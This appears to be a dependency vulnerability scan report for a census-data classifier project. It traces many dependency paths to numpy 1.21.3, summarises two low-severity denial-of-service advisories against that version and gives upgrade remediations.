Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to visions@0.7.6.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to wordcloud@1.9.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to visions@0.8.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.
Remediation
Upgrade numpy to version 1.22.0 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numpy@1.21.3Remediation: Upgrade to numpy@1.22.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to numba@0.58.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to patsy@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to visions@0.7.6.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to wordcloud@1.9.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to visions@0.8.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade numpy to version 1.22.0rc1 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numpy@1.21.3Remediation: Upgrade to numpy@1.22.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to numba@0.58.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to patsy@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to visions@0.7.6.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to wordcloud@1.9.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to visions@0.8.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › numpy@1.21.3
-
